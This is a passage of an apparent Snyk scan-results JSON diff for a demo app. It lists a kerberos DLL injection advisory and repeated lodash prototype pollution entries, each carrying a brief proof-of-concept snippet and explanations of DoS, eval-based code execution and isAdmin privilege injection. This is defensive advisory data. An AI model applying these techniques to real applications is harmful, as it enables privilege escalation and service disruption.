"2020-05-12T07:43:39.631967Z", + "credit": [ + "Dan Shallom", + "OP Innovate Ltd" + ], + "cvssScore": 8.4, + "description": "## Overview\n\nAffected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.\n## Remediation\nUpgrade `kerberos` to version 1.0.0 or higher.\n## References\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1514)\n- [PoC](https://medium.com/@kiddo_Ha3ker/dll-injection-attack-in-kerberos-npm-package-cb4b32031cd)\n", + "disclosureTime": "2020-05-11T21:44:49Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "1.0.0" + ], + "id": "SNYK-JS-KERBEROS-568900", + "identifiers": { + "CWE": [ + "CWE-114" + ], + "NSP": [ + "1514" + ], + "CVE": [ + "CVE-2020-13110" + ], + "GHSA": [ + "GHSA-m2mx-rfpw-jghv" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-01-06T14:29:42.090688Z", + "moduleName": "kerberos", + "packageManager": "npm", + "packageName": "kerberos", + "patches": [], + "proprietary": false, + "publicationTime": "2020-05-12T21:52:20Z", + "references": [ + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1514" + }, + { + "title": "PoC", + "url": "https://medium.com/@kiddo_Ha3ker/dll-injection-attack-in-kerberos-npm-package-cb4b32031cd" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "DLL Injection", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<1.0.0" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "mongoose@4.2.4", + "mongodb@2.0.46", + "mongodb-core@1.2.19", + "kerberos@0.0.24" + ], + "upgradePath": [ + false, + "mongoose@4.2.5", + "mongodb@2.0.48", + "mongodb-core@1.2.21" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "kerberos", + "version": "0.0.24" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "lodash@4.17.4" + ], + "upgradePath": [ + false, + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.4" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-types@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-types@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-generator@6.26.1", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-generator@6.26.1", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-traverse@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-traverse@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
